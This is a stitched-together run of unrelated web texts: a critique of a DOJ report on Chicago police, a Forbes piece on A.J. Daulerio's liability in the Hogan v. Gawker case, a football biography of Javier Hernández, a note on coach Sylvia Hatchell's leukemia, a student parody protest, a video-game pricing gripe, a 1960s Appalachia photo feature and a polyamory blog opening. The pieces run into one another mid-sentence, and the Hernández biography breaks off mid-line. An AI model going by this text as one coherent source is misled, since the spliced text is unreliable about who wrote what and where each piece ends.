Both Lynch and Emanuel made perfunctory remarks about the contents of the report at the press conference. Emanuel told the press that the issuing of the report was “sobering” and a “moment of truth.” He suggested that his administration and the CPD had made “meaningful reforms” since the beginning of the DOJ investigation.
Far from ending any of brutal practices outlined in the report, the CPD has continued to kill people with impunity in the last year. The city of Chicago has also kept open the secretive police detention center in Homan Square, where multiple people have alleged torture, sexual assault and police violence. Notably, the DOJ report makes no mention of the practices at Homan Square.
Additionally, based on the findings of the report, the Justice Department and Emanuel also agreed to negotiate a consent decree—a court-ordered settlement—over the next few months that would entail federal monitoring and oversight of the implementation of so-called “reforms” to the CPD and its practices. In reality, such court-enforced “consent decrees” have been utilized in cities across the country and have failed to change the practices of police violence in various departments.
Moreover, it is far from clear how the incoming Trump administration will handle such a negotiation. Trump’s nominee for Attorney General, Senator Jeff Sessions, has expressed his vocal opposition to such “consent decrees” and any nominal oversight of police departments. Trump has previously called for draconian policies in response to the spate of violence in Chicago, a symptom of rampant poverty and social breakdown. Emanuel, for his part, has said he hopes to work with Trump.
In what has become a routinized affair, a pattern of cover-up emerges with the opening of every Justice Department investigation. Systematic police violence provokes mass public outrage and protests. The capitalist political establishment, including Democrats and Republicans, do everything they can to suppress social discontent. Federal intervention provides a political cover for the violence unleashed by the state against the poorest and most vulnerable sections of society. In the end, no high-ranking officials are charged with crimes, and nothing is changed.
Please enable JavaScript to view the comments powered by Disqus.UPDATE, 8-11-2016, 4:16 pm: A Florida judge awarded A.J. Daulerio's indemnification rights from Gawker Media to Hulk Hogan late Thursday. It's the first step for Hogan's lawyers to begin seizing Daulerio's assets; Daulerio will be deposed on August 16. The same day, Gawker's assets are scheduled to be auctioned off in New York.
By Matt Drange and Ryan Mac
On Wednesday night, current and former Gawker Media employees gathered at the company's Manhattan headquarters to celebrate 14 years of independent journalism ahead of a court-advised sale next week. One former editor, A.J. Daulerio, however, was not in attendance.
That's partly because Daulerio, who helped shape the aggressive and often scathing style of Gawker Media websites such as Deadspin and the flagship Gawker.com, is due back in a Florida court today to deal with the fallout from a landmark lawsuit involving his ex-employer and former professional wrestler Hulk Hogan. Hogan, whose real name is Terry Bollea, sued Gawker, its founder Nick Denton and Daulerio for invading his privacy by publishing an excerpt of a sex tape featuring him and his friend's wife. Hogan was awarded more $140 million in damages earlier this year, and is now looking to collect that money.
Daulerio wrote the Oct. 2012 play-by-play narrative of the sex tape, and is the only defendant in the case who has not filed for bankruptcy. Both Gawker and Denton have filed for Chapter 11 bankruptcy and, as a result, are temporarily protected from Hogan seizing their assets. Daulerio may soon be forced to do the same.
On Thursday afternoon, Hogan’s lawyers will ask the judge in the case to allow them to seek additional discovery regarding Daulerio’s assets and, once that process is complete, begin seizing them immediately. As of Monday, Daulerio had just $1,505.78 in his checking account, according to a screenshot of his bank statement submitted to the court, which has been frozen in advance of today’s hearing.
“I am now trying to get separate counsel to advise me because I understand that my lawyers in this case cannot advise me about indemnification by Gawker since they also represent the company," Daulerio wrote in a signed affidavit. "I have been having trouble finding my own lawyer to advise me because I do not have enough money to pay for one.”
The former Gawker editor declined to comment for this story.
In addition to the $140.1 million verdict in the Hogan case, the majority of which Daulerio is jointly responsible for along with Denton and Gawker, Daulerio listed liabilities of $26,378.70 in student loan debt and another $8,657.45 in credit card debt. With his less than.001 percent stake in Gawker and the more than 44 percent stake in Ratter, the now-defunct media company he founded in 2014, Daulerio’s net worth is effectively negative, according to his affidavit.
Daulerio, 42, told the court that he doesn’t have a job, and was using the money from his now frozen checking account to cover basic living expenses, including rent for a lease on an apartment that expires next month. “Not being able to use the very limited funds in this account is a real hardship,” Daulerio wrote.
Before Gawker filed for bankruptcy in June, the company was paying Daulerio’s legal expenses, including the lawyers who will represent him in court today. Gawker asked the judge overseeing its bankruptcy and sale to allow it to continue to represent both Daulerio and Denton, but lawyers for Gawker’s unsecured creditors, led by Hogan, objected, arguing that doing so was a conflict of interest. The bankruptcy judge has yet to rule on this aspect of the case; he could do so as soon as next week.
In objecting to today’s hearing, Gawker's lawyers argued that Daulerio should be given more time to address recent filings in the case and to find his own attorney. “Given that Mr. Daulerio has only nominal assets and a negative net worth, these motions appear to be nothing more than an improper attempt to end-run the bankruptcy stay imposed on proceedings against (Gawker and Denton).”
In addition to being on the hook for the final judgment in the case, Daulerio could also face sanctions from the court after Hogan’s attorneys accused him last week of “not being truthful” when he told the jury earlier this year that he had no material assets. The issue, Hogan’s lawyers argue, is that Daulerio didn’t disclose the extent of his indemnification rights from Gawker, a standard part of employment agreements between journalism organizations and their employees. (Daulerio's contract was produced during discovery in the case, but remains under seal.)
Lawyers for both Daulerio and Hogan declined to comment for this story. Denton, meanwhile, continues to lead efforts to sell off the assets of the organization he founded in 2002. Publishing firm Ziff Davis has signed an initial purchase agreement for seven Gawker-owned websites to the tune of about $90 million. Denton has since said that more than a dozen competing offers have come in. Bids are due Aug. 15, with an auction scheduled for the following day.
In May, FORBES revealed that Silicon Valley billionaire Peter Thiel had secretly bankrolled Hogan’s case against Gawker in an effort to destroy the company. Thiel later told The New York Times he had spent roughly $10 million on litigation against Gawker. It’s unclear which of the other current lawsuits Gawker have been funded by Thiel, but as FORBES reported earlier this year, at least five additional cases are linked to Harder Mirell & Abrams LLP, the boutique Hollywood law firm Thiel paid to represent Hogan.
In objecting to today’s hearing, Daulerio’s lawyers--who are no longer allowed to receive money from Gawker to represent him--summed up the effect the arrangement has had on Daulerio in recent weeks. “In other words," they wrote, "while using a Silicon Valley billionaire Peter Thiel’s funding to try to convince this Court to levy severe sanctions, initiate criminal contempt proceedings, and tax hundreds of thousands of dollars in costs against Mr. Daulerio--a man with a negative net worth--Plaintiff has taken the position in the Bankruptcy Court that Mr. Daulerio should be left without counsel in these proceedings.”
Hogan’s legal team is expected to focus on the indemnification agreement Daulerio signed as an employee of Gawker, according to people familiar with the situation, and assert that he misled the court in June about the value of his assets and, as a result, should face court-imposed sanctions. Hogan’s lawyers also requested that Daulerio cover their costs to bring the case, including travel expenses, court filing fees and expert deposition and testimony, among other things.
The litigation strategy has put a squeeze on Daulerio. In one courtroom in Florida, he is liable for both the judgement in Hogan's case and, potentially, fees racked up by Hogan’s attorneys; in another courtroom in New York, he may face the possibility of having to find his own bankruptcy lawyer.
Katie Townsend, litigation director for the Reporters Committee for Freedom of the Press, said that while there is always a risk of Daulerio’s current situation playing out when an individual journalist is named as a defendant in lawsuit, the Hogan case is an exceptional one. Townsend said she wasn't aware of any defamation, libel or invasion of privacy case that has led to an individual journalist being on the hook for a judgement, let alone filing for bankruptcy, as Denton did last month.
“This case is so unusual,” Townsend said. “When a journalist breaks a story and gets sued, it’s often by an aggressive plaintiff. It’s unfortunate that in this case, it's come down to the person who seemingly has the least means to defend themselves.”
Follow Ryan on Twitter at @RMac18 or email him at rmac@forbes.com. Follow Matt on Twitter at @MattDrange or email him at mdrange@forbes.com.Hernández began his career in 2006, playing for Mexican club Guadalajara. In July 2010, he became the first Mexican player to join Manchester United, scoring 20 goals and winning the Premier League in his debut season. After falling out of favour under managers David Moyes and Louis van Gaal, he spent the 2014–15 season on loan at Real Madrid. In August 2015, Hernández signed for Bundesliga club Bayer Leverkusen. After two seasons in Germany, Hernández returned to the Premier League and joined West Ham United. His minutes-per-goal ratio is among the most prolific in the history of the Premier League. [4]
This name uses Spanish naming customs : the first or paternal family name isand the second or maternal family name is
Hernández was born in Guadalajara, Jalisco and first played in a recreation league when he was seven years old. Hernández lived in Morelia, Michoacán for over four years while his father, footballer Javier " Chícharo " Hernández, played for Monarcas Morelia. [5] While living in Morelia, Hernández attended elementary school at the Instituto Piaget where he studied from third to sixth grade and played for the school's football team. [5]
C.D. Guadalajara
Hernández began playing with Chivas' lower division team, Chivas Coras in Tepic, Nayarit in the 2005–06 season. He made his debut for Chivas in the 2006 Apertura in a win over Necaxa at Estadio Jalisco. With the score at 3–0, Hernández came on as a substitute for Omar Bravo in the 82nd minute, before scoring the fourth goal of the game five minutes later. It was his only goal in seven appearances in 2006–07. He made a further six appearances in 2007–08 without scoring.[10]
Hernández made ten appearances in the 2008 Apertura without scoring, but he scored four goals in fifteen appearances in the 2009 Clausura. In the 2009 Apertura, Hernández finished as the joint-third top scorer, with eleven goals in seventeen appearances.[11] He started the 2010 Torneo Bicentenario with eight goals in five games.[12] He finished as a joint-leader in the goalscoring chart for the 2010 Torneo Bicentenario, with ten goals in eleven games and after spent 5 matches without playing because of an injury he suffered.[13]
Manchester United
Transfer
Hernández on his Manchester United debut
Manchester United were first made aware of Hernández in October 2009; a scout went to Mexico that December and reported positively after watching a few games. Because of Hernández's age, the club originally planned to wait before making a move to sign him, but his potential involvement with the national team at the World Cup rushed the club into making a bid. United's chief scout, Jim Lawlor, was sent to Mexico for three weeks in February and March to watch Hernández and filed another positive report on him, before the club solicitor went over to Mexico to finalise the paperwork.[14]
On 8 April 2010, Hernández agreed a deal to sign for Manchester United for an undisclosed fee, subject to a work permit application.[15] The previous day, Hernández had been present at Manchester United's Champions League quarter-final win over Bayern Munich at Old Trafford.[16] The deal was conducted in complete secrecy; Hernández's agent was kept in the dark, as was his grandfather Tomás Balcázar, who thought Hernández was going on a trip to Atlanta in the United States.[17][18] As part of the deal, United played a friendly against Chivas to open the Mexican club's new stadium on 30 July.[19] On 27 May, the work permit was granted, allowing the transfer to be made official on 1 July.[20]
2010–11 season
Hernández playing for Manchester United against the MLS All-Stars at the NRG Stadium, Houston in July 2010
Hernández made his United debut on 28 July, coming on as a 63rd-minute substitute for Nani in the 2010 MLS All-Star Game at the NRG Stadium, Houston; he scored his first goal for the club 18 minutes later, lobbing the ball over Nick Rimando from just outside the area after a long through-ball from Darren Fletcher.[21] Two days later, Hernández scored against Manchester United while playing in a friendly for his old club, Chivas; he started the game in a Chivas jersey and scored after just eight minutes. He switched sides at half-time, but he was unable to prevent a 3–2 defeat for Manchester United.[22] He scored for the third pre-season game in a row as he netted in a 7–1 victory over a League of Ireland XI at the newly built Aviva Stadium on 4 August.[23]
Hernández made his competitive debut on 8 August and scored his first goal in the process, netting United's second of a 3–1 victory over Chelsea in the 2010 FA Community Shield. He came on at the start of the second half and got on the end of a pass from Antonio Valencia before the Mexican's shot deflected off his own face and into the net.[24] On 16 August, Hernández made his Premier League debut as he replaced Wayne Rooney in the 63rd minute of their 3–0 home victory over Newcastle United.[25] He scored his first Champions League goal on 29 September, coming off the bench to score the only goal in an away win over Valencia.[26] He scored his first league goal for United in a 2–2 home draw against West Bromwich Albion on 16 October.[27] Eight days later he scored his first brace for the club, also his first away league goals, in a 2–1 away win over Stoke City.[28] Two days on from this display, he came off the bench to score a last-minute winner, his first ever League Cup goal, in a 3–2 win over Wolves which sent them through to the quarter-finals where they were then knocked out by West Ham United.[29][30] On 1 January 2011, he came off the bench to head the winning goal in a 2–1 away win over West Bromwich Albion.[31] Hernández became the top scoring Mexican in Premier League history after opening the scoring in a 2–1 home victory over Stoke City on 4 January.[32]
On 25 January, Hernández scored the equalising goal of a 3–2 comeback away win over Blackpool.[33] Four days later he scored his first FA Cup goal as he netted the winner in a 2–1 away victory over Southampton.[34] Hernández netted twice in a 4–0 away win over Wigan on 26 February.[35] Eight days later, he netted a late consolation goal in a 3–1 derby defeat away to Liverpool.[36] Hernández netted twice in a 2–1 home win over Marseille on 15 March, sending United through to the quarter-finals of the Champions League.[37] On 2 April, he scored the final goal against West Ham United as they came from two goals down to claim a 4–2 away win.[38] On 8 April, Hernández was revealed as a contender for the PFA Young Player of the Year award alongside teammate Nani.[39] Four days later, he opened the scoring in the 2–1 quarter-final win over Chelsea in the Champions League, with the game ending 3–1 on aggregate, sending United through to the semi-finals.[40] He continued his goal scoring form on 23 April scoring the winning goal with a header in the 1–0 home win over Everton.[41]
On 8 May, Hernández scored the opening goal in a 2–1 home win over Chelsea after just 36 seconds to leave United one point away from winning the title.[42] The goal against Chelsea made him the first player since Ruud van Nistelrooy in the 2001–02 season to score 20 goals for the club in his debut season.[43] Hernández capped his debut season with Manchester United by winning the Sir Matt Busby Player of the Year award on 18 May which was voted for by the fans.[44] On 28 May, Hernández played all 90 minutes in the 3–1 defeat to Barcelona in the Champions League Final.[45] On 5 July 2011, the International Federation of Football History and Statistics named Hernández as the "World Goalgetter 2011", with 13 goals, ahead of other players such as Cristiano Ronaldo, Giuseppe Rossi, and Lionel Messi.[46]
2011–12 season
After participating in the 2011 CONCACAF Gold Cup with Mexico, Hernández returned to Manchester United to begin pre-season training in New York ahead of the 2011 MLS All-Star Game. On 26 July 2011, he was taken to the hospital after suffering a minor concussion after he was hit on the head with a ball during a training session; he was cleared the next day, but did not take part in the game.[47][48]
On 28 July 2011, it was reported that Rafael Ortega, the doctor at Chivas, informed Manchester United that Hernández was suffering from a pre-existing neurological condition. Ortega also explained that Hernández had suffered from "acute migraines and "headaches" as a teenager.[49][50] He did not participate in any of United's pre-season matches, nor the 2011 FA Community Shield. He also missed United's opening game of the season against West Bromwich Albion.[citation needed]
Hernández made his first appearance in the 2011–12 season on 22 August in a 3–0 win against Tottenham Hotspur, coming off the bench for Danny Welbeck in the 79th minute.[51] He returned to the starting lineup on 10 September against Bolton Wanderers, scoring twice in a 5–0 victory.[52] On 15 October 2011, Hernández came off the substitutes bench to net a crucial equaliser against Liverpool at Anfield in a 1–1 draw. In the 81st minute Hernández gambled on Danny Welbeck's flick on from a corner to steal in and head the equaliser.[53]
Hernández signed a new five-year contract on 24 October to tie him to Manchester United until 2016.[54] Hernández scored his fourth league goal of the season and the winner against Everton at Goodison Park, in a 1–0 victory on 29 October.[55] He then scored his fifth league goal of the season and the winner in United's next away game at Swansea City, a 1–0 win.[56] Hernández scored again in the following game at home to Newcastle United, when Wayne Rooney's shot was blocked by a defender and ricocheted back off Hernández and into the net.[57] He was then carried off the pitch early in United's next league game away at Aston Villa, appearing to go over on his ankle without a challenge from an opponent. After the match, manager Sir Alex Ferguson said Hernández had suffered ankle ligament damage and would be out for up to four weeks.[58] On 18 December, Hernández made a surprise early return against Queens Park Rangers. He came on as a 63rd-minute substitute for Danny Welbeck in United's 2–0 victory at Loftus Road.[59]
On 31 January 2012, Hernández scored his first goal since November, and his seventh goal of the season in a 2–0 league win at Old Trafford against Stoke City, scoring the first of two penalties.[60] Hernández continued his scoring form on 5 February at Stamford Bridge against Chelsea, scoring the third goal of a three-goal comeback draw, heading in a cross from Ryan Giggs.[61] On 16 February, Hernández scored his first goal in the Europa League, in a 2–0 away win against Ajax in the round of 32.[62] He scored again in the second leg at Old Trafford on 23 February, but this time in a 2–1 home defeat. However, United still won the tie 3–2 on aggregate.[63] On 18 March, Hernández scored twice in a 5–0 win over Wolverhampton Wanderers.[64]
2012–13 season
Hernández during a training session with Manchester United in 2012
Hernández began his third season with United on 2 September 2012, coming on as a 72nd-minute substitute for Danny Welbeck in a 3–2 win against Southampton.[65] On 15 September, he was named in the starting eleven for the match against Wigan Athletic, playing all 90 minutes. Despite having a penalty saved in the fifth minute by Wigan goalkeeper Ali Al-Habsi, Hernández scored his first goal of the season, as well as assisting in teammate Nick Powell's goal in a 4–0 victory.[66] On 23 October, Hernández netted a brace in a 3–2 comeback win against Braga in a Champions League group stage match after United had gone down 2–0 in the first half.[67] Five days later, he scored the winner against nine-man Chelsea in a controversial 3–2 win after he was deemed to have been in an offside position when scoring the goal.[68]
On 10 November 2012, Hernández came on as a second-half substitute and scored two goals as United came from 2–0 down to beat Aston Villa 2–3 at Villa Park. At the end of the match, Hernández claimed the hat-trick, but replays showed that his shot for United's second goal was hit wide until turned into his own net by Villa defender Ron Vlaar.[69] On 24 November, he scored his fifth league goal of the season in a 3–1 home win over Queens Park Rangers.[70] On 26 December, Hernández scored United's fourth goal in the final minutes in a 4–3 win over Newcastle United at Old Trafford.[71] He then began 2013 by scoring a brace against Wigan on 1 January, helping United to a 4–0 victory.[72] On 26 January, Hernández would go on to score another brace, this time during an FA Cup match against Fulham which United won 4–1.[73]
In another FA Cup match against Reading on 18 February, Hernández scored in the 72nd minute, giving United a 2–0 lead. His goal would end up being a deciding factor as United went on to win the game 2–1.[74] Although he started in United's 2–0 Premier League victory against QPR on 23 February 2013, he did not score in the match and he didn't score again until 10 March in another FA Cup match against Chelsea which ended in a 2–2 draw.[75] Hernández opened the scoring in manager Sir Alex Ferguson's final home game at Old Trafford against Swansea City. After a free kick was not cleared, he slotted in from six yards in the first half to put United 1–0 up, in a game they went on to win 2–1.[76] Hernández scored United's last goal of the season and the final goal of the Ferguson era, when he tapped in a cross from close range in a 5–5 draw away at West Bromwich Albion on the final day.[77]
2013–14 season
Hernández scored his first goal of the season under new manager David Moyes on 25 September 2013, netting the only goal of a home win over rivals Liverpool in the third round of the League Cup.[78] On 26 October, with his first league goal of the campaign, he headed the winner as they came from behind to defeat Stoke 3–2 at Old Trafford.[79] Three days later, he recorded a brace – starting with a penalty – in a 4–0 win against Norwich City in the next round of the League Cup.[80] In the tournament's semi-finals, his goal from Adnan Januzaj's cross in the last minute of extra time forced a penalty shootout, which United lost to Sunderland.[81]
Real Madrid (loan)
On 1 September 2014, Hernández signed for Real Madrid on a season-long loan deal, with an option of a purchase at the end of the loan.[82] He underwent a medical and signed the contract that same day.[83]
He made his debut in the Madrid derby on 13 September, replacing Karim Benzema for the final 27 minutes as the team lost 2–1 at home to Atlético Madrid.[84] On 19 September, Hernández came on as a 77th-minute substitute for Gareth Bale and scored his first two goals in an 8–2 away win against Deportivo de La Coruña.[85]
He scored the winning goal on 22 April 2015 in the 1–0 win over Atlético Madrid, which sent Real Madrid into the semi-finals of the Champions League.[86] Four days later, Hernández scored a brace in Madrid's 2–4 away win over Celta de Vigo.[87]
On 26 May, it was announced that Hernández would return to Manchester United following the end of his loan spell after Real Madrid decided not to make the loan move a permanent deal.[88]
Permanent exit from Manchester United
On 29 August 2015, it was reported that Manchester United manager Louis Van Gaal had told Hernández he could leave the club before the closure of the transfer window. Although with one year of his contract still remaining, it was unclear with scale of transfer fee United would demand for him.[89]
Hernández played in what proved to be his final match for Manchester United on 22 August in a scoreless draw against Newcastle United at Old Trafford. He came on as a substitute in the 67th minute, replacing Adnan Januzaj.[90] As he often came on as a substitute during his time with Manchester United, Hernández's minutes per goal ratio is among the most prolific in the history of the Premier League.[4][91]
Bayer Leverkusen
On 31 August 2015, it was announced Hernández signed a three-year contract with Bundesliga club Bayer Leverkusen for an undisclosed fee,[92] reportedly £7.3 million.[93]
2015–16 season
Hernández made his Bundesliga debut as a 58th-minute substitute in the 1–0 defeat to Darmstadt 98 on 12 September.[94] Four days later he scored his first goal in the Champions League group-stage match against BATE Borisov, scoring the third goal in the 4–1 victory.[95] On 23 September, Hernández scored his first Bundesliga goal in Bayer's 1–0 victory over FSV Mainz, being also named Man of the Match.[96] On 20 October, Hernández scored his first brace for Leverkusen in their 4–4 draw against Roma in the Champions League.[97] He ended the Champions League group stage with five goals from six matches but Bayer failed to qualify for the knockout phase, finishing third in Group E and dropping into the Europa League.[98]
Hernández was named Bundesliga Player of the Month for November; a month in which he scored in a 2–1 loss at home to 1. FC Köln and twice in 3–1 win at Eintracht Frankfurt.[99] On 12 December, Hernández scored his first hat-trick in Leverkusen's 5–0 win over Borussia Mönchengladbach, thus scoring 15 goals in his last 12 matches, and taking his tally to 17 goals in 20 matches.[100][101] He would again be named Bundesliga Player of the Month for December.[102]
On 30 January 2016, in Bayer's second match after the winter break, Hernández scored twice in a 3–0 defeat of Hannover 96 to register his 20th and 21st goals of the season.[103] Two days later, he was named for the third time Bundesliga Player of the Month.[104]
2016–17 season
Hernández scored and provided an assist in Leverkusen's 2–1 win over SC Hauenstein in the first round of the DFB-Pokal on 21 August 2016.[105] Two days later, it was reported that Hernández would miss Bayer's opening match of the season against Borussia Mönchengladbach after sustaining a broken hand.[106] On 17 September, Hernández scored his first |
only “partly free.”
It’s a worrisome state of affairs — one that Italian journalists are both keenly aware of and, as the DDL intercettazioni episode suggests, largely powerless to fight. As La Repubblica’s Vittorio Zambardino, the paper’s “Scene Digitali” blogger, told me when I met him in Perugia last year, over-regulation of journalism and the online space is a constant threat in Italy. And, for that matter, in Europe (and elsewhere) more broadly. “There’s a wide array of social processes that are produced by the Internet that are also endangering the virtue and the value of the Internet,” Zambardino said. He continued:CHAPEL HILL, N.C. -- North Carolina women's basketball coach Sylvia Hatchell has been diagnosed with leukemia.
In a release from the school Monday, Hatchell said she would temporarily step away from her coaching duties to focus on treatment.
"I will remain very much involved with my team and day-to-day operations here at UNC and expect to return to my sideline responsibilities as soon as possible," Hatchell said in a statement. "My veteran staff and team will be well prepared and meet any challenges until my return. Don't forget I am a Tar Heel woman!"
Hatchell, 61, was inducted into the Naismith Memorial Basketball Hall of Fame last month. She's preparing for her 28th season with the Tar Heels and has 908 career victories, making her one of only three head coaches in the sport to win 900 games.
"My heart goes out to Sylvia and her family as they face this challenge together," former Tennessee head coach Pat Summitt told ESPN's Carol Stiff. "Sylvia is a competitor and a fighter. I have no doubt that she will confront her diagnosis with courage and faith. My hope is that she will feel the love and support surrounding her."
Hatchell has led UNC to the 1994 NCAA championship, three Final Fours and eight Atlantic Coast Conference tournament championships.
"Sylvia has our complete support and is in our thoughts and prayers for a full recovery," athletic director Bubba Cunningham said in a statement. "Sylvia is a fighter and her enduring spirit will aid her greatly."
Longtime assistant Andrew Calder will lead the program while Hatchell is away. He has been on Hatchell's staff throughout her tenure, which includes six 30-win seasons.
In addition, former Campbell men's head coach Billy Lee will be added as an assistant coach on a temporary basis during Hatchell's absence. Lee has been the team's director of video and scouting, and special assistant to the head coach.
The Tar Heels won 29 games last season before losing at Delaware in the second round of the NCAA tournament. They lost their top two scorers, but sophomore Xylina McDaniel (11.3 points, 7.1 rebounds) returns while Hatchell's staff brought in a recruiting class ranked No. 1 nationally by ESPN -- featuring McDonald's All-Americans Diamond DeShields, Stephanie Mavunga and Jessica Washington.
Hatchell said she will be treated at the UNC Lineberger Comprehensive Care Center on the Chapel Hill campus. Dr. Pete Voorhees, an oncologist and associate professor in UNC's School of Medicine, will oversee her treatment.
"Sylvia remains strong and in good spirits," Voorhees said in a statement. "She is physically and mentally tough, and this will serve her well on her journey. We are optimistic that she will do well."
Roy Williams, the Tar Heels' Hall of Fame men's coach, said in a statement that he was "heartbroken" for Hatchell's family.
"I know how much Sylvia loves to coach and compete with her team so any time that she misses will be difficult," Williams said. "But she's tough and she will fight this with everything she has. All of us at Carolina and all of her friends in the coaching community will support her 100 percent in this fight."
Information from The Associated Press was used in this report.Reading Time: 3 minutes
By Jackie Hong
Dozens of Ryerson engineering students marched through campus, Dundas Square and the Ted Rogers School of Management (TRSM) on Friday to protest against the perils of warm peas.
According to a flyer, the “Freeze the Peas” “movement,” a parody of the Ryerson Students’ Union (RSU)’s “Freeze the Fees” campaign, aims to “pass a motion that makes peas more accessible to Ryerson students.” It also asks students to make a donation to the Good Food Centre, Ryerson’s student-run food bank, in order to “put the peas back into the hands of the students.”
About a dozen students, including Ryerson Engineering Student Society (RESS) President Urooj Siddiqui, wheeled carts of canned food into the Quad around noon on March 25. After a short rally, the group, which had swelled to about 60 students, marched on to Gould Street, through Yonge-Dundas Square and to TRSM. After a quick walk around inside the building, with a short pause in front of the Ryerson Commerce Society’s office, the group headed back to campus and held another rally in front of the Student Campus Centre (SCC).
Students chanted slogans like “What do we want? Peas! How do we want them? Frozen!” “Ryerson has a $14 million surplus, do you know how many peas that could buy?” and “Freeze the peas!” as well as several engineering-specific cheers throughout the march and rallies. Several people also asked passersby to sign a petition (which they dubbed a “pea-tition”) demanding that peas be frozen.
Third-year aerospace engineering student Massimo Mancini was among the students that participated in the event.
“It’s something that I truly believe in. Peas should not be left out in the heat. They should be kept frozen in a cool, dark place so they can be eaten at a later date instead of wasted,” Mancini said.
“I thought that what was happening to peas, the fact that they were melting, was totally cruel and unfair and I felt that it needed to be stopped right now,” said second-year computer engineering student Marlin Tomskzi. “So I joined with my fellow Ryerson engineering crew to freeze the peas. We’re trying to get a protest going to freeze those peas because it’s very poor what’s happening to them. It’s very, very depressing.”
The cans the group wheeled around and eventually stacked into “pea-ramids” in front of the SCC contained green peas, black-eye peas and chickpeas. The latter two are, in fact, beans.
An engineering student was unaware of that fact when The Eyeopener asked about it.
“We blame the person who went shopping and didn’t check their facts first. But at the same time, we still have donations for the Food Room and that’s all that matters,” he said.
RSU President Rajean Hoilett said it was important that “Freeze the Peas” was raising awareness about student hunger.
“The Good Food report that came out from the good food center showed that engineering students were amongst the biggest population using the Good Food Centre services … Engineering students also pay the highest tuition fees on our campus for an undergraduate degree so I think that it’s really important that we’re continuing to protest against the rising cost of education and we’re continuing to make food available for students,” Hoilett said.
Hoilett said he didn’t know about the event until the group stopped in front of the SCC, nor that the event was a parody of “Freeze the Fees.”
“That hasn’t been really communicated to us,” he said.
Participants of the event emphasized that “Freeze the Peas” was just for fun.
“It’s completely satirical …. It’s completely bullshit … And then, yeah, we’re just having fun,” one student said.
By the end of the march, 200 cans of beans and peas were donate to the Ryerson Good Food Centre.
With files from Jake Scott.Looking forward to playing Batman: Arkham Knight? Sure, we are too! That'll be $60. What's that, you want to play all of Arkham Knight? Well, that'll be $100. What, you didn't think you were going to get the whole game for $60 did you? What do you think this is, 2013?
Warner Bros. announced today that a season pass for Arkham Knight will be offered for $39.99. For six months after release, pass holders will get "new story missions, additional super-villains invading Gotham City, legendary Batmobile skins, advanced challenge maps, alternative character skins, and new drivable race tracks" strung out over the six months following release. Value-conscious gamers also have the option of the $99.99 Premium Edition, which includes the game and the season pass, a savings of no money whatsoever.
Dear readers: Are we completely off base? Is this how you want the game industry to go? Are you planning on voting with your dollars for this sort of structure to continue?Valley of poverty: The desperate pictures of rural America that show 1930s-style depression actually lasted until the SIXTIES
Pictures of Appalachia by photographer John Dominis appeared in 1964 issue of LIFE, titled 'The Valley of Poverty'
60% of families fell below poverty level with the average family income of $841 a third lower than national average
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These bleak pictures appear to show America in the grip of the 1920s Great Depression. The reality is that they were taken in the 1960s, in a lonely valley in Eastern Kentucky long forgotten by affluent America.
For generations, poets and musicians like Patsy Cline were inspired by the beauty of a land that covers 13 states and where towns are called 'Lovely,' 'Beauty' and 'Kingdom Come.'
But the harsh reality, as these pictures from LIFE.com show, was that the people of Appalachia sustained themselves on a bare government subsistence, were ridden with diseases and lived in shacks.
An Appalachian mother clutches her sleeping child while staring into the distance as her other children play around her
Father and son work on the railway track to earn money to feed their family. 60 per cent of families in Appalachian Kentucky were living below the poverty line
The average Appalachian family income of $841 was more than a third lower than the national average. Here a mother looks anxiously as her children eat dinner
The wet climate of the Appalachian Mountains caused rot to set into their wooden homes and made repairs virtually impossible because the old wood couldn't support new wood.
As a result families would watch their homes gradually fall into a state of dilapidation.
At the time Robert F. Kennedy travelled to Appalachia to shine a light on a part of the country that desperately needed help and appeared to have fallen by the wayside as America's economy steamrolled into the 70s. RELATED ARTICLES Previous
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Next 'Too many children are dying': Brave Gabby Giffords... Nearly HALF of U.S. households live just one crisis from... Share this article Share Almost 60 per cent of families in Appalachian Kentucky fell below the poverty level with the average family income of $841 per year coming in at more than a third lower than the national average.
Appalachia stretches from northern Alabama to southern Pennsylvania. In the late 19th century, expansion of the country's railroads brought an increased demand for coal.
Mining operations opened up in huge numbers across Appalachia and hundreds of thousands of workers flooded into the region from across the United States and overseas.
An Appalachian man leans against a shelf clutching a cup. The men had little work after the region's mining industry collapsed
A woman hanging out her family's washing during the harsh winter in eastern Kentucky
Dominis’ photos appeared as a 12-page feature in a 1964 issue of LIFE magazine, titled 'The Valley of Poverty'
Both lumbering and coal mining industries flourished during this period and along with it came decent salaries and living standards.
By the 1960s, however, logging companies decided to move elsewhere having become frustrated at the poor infrastructure in the region, while competition from oil and gas companies led to a sharp decline in mining operations.
Men were left without jobs and children grew up with no prospects.
John Dominis show ’ photos appeared as a 12-page feature in a 1964, issue of LIFE, titled 'The Valley of Poverty'. It was one of the very first in-depth critiques on President Lyndon Johnson’s 'war on poverty.'
A woman and her family trudging across a rickety suspension bridge over a sewage-polluted stream towards their two-room shack with its two outhouses in this poverty-stricken area of Appalachia
The wet climate of the Appalachian Mountains caused rot to set into the wooden homes (pictured) and made repairs virtually impossible because the old wood couldn't support new wood
A young boy being washed in a metal tub by his mother
The article that accompanied the pictures said: 'Their homes are shacks without plumbing or sanitation.
'Their landscape is a man-made desolation of corrugated hills and hollows laced with polluted streams.
'The people, themselves often disease-ridden and unschooled, are without jobs and even without hope. Government relief and handouts of surplus food have sustained them on a bare subsistence level for so many years that idleness and relief are now their accepted way of life.'
Appalachia stretches from northern Alabama to southern Pennsylvania. In the late 19th century, expansion of the country's railroads brought an increased demand for coal to fuel the trains. Entire communities became dependent on the industry which disappeared as fast as it arrived
In the original LIFE article in 1964, words that accompanied the pictures included: 'Their homes are shacks without plumbing or sanitation. Their landscape is a man-made desolation of corrugated hills and hollows laced with polluted streams'
A man being baptised in a stream in Appalachia. He can be seen covering his mouth as the water was heavily polluted
Throughout the region drinking water was toxic and families were often forced to live with congenital issues caused by the coal and strip mining in the area
As a result of its bleak history, Appalachia has given rise to a sterotype which was played on by early 20th century writers and to this day endures.
The isolation, temperament, and traditions have often led Appalachia to be portrayed as a culturally backwards region famous for moon shining and uneducated inhabitants prone to unpredictable acts of violence.
Read more: Life in Appalachia: Photos from a 'Valley of Poverty' 1964
A mother caring for her daugther (left) and a child with its bottle in the poverty-stricken region of Appalachia
Children looking scruffy but relatively happy outside their home (left), while a mothers feeds her baby by a roaring fire as her husband looks on (right)I was hanging out with a group of poly people the other day and we were talking about the problems with having unspoken rules in relationships. Someone put it very succinctly: “Your relationship rules should not be written in invisible ink.”
I love that. And I think it can be expanded on, and I have some related rulesy thoughts, so I’m going to talk a bit about what I think makes good relationship rules (at time of writing). I would love feedback, positive or negative.
Let’s go:
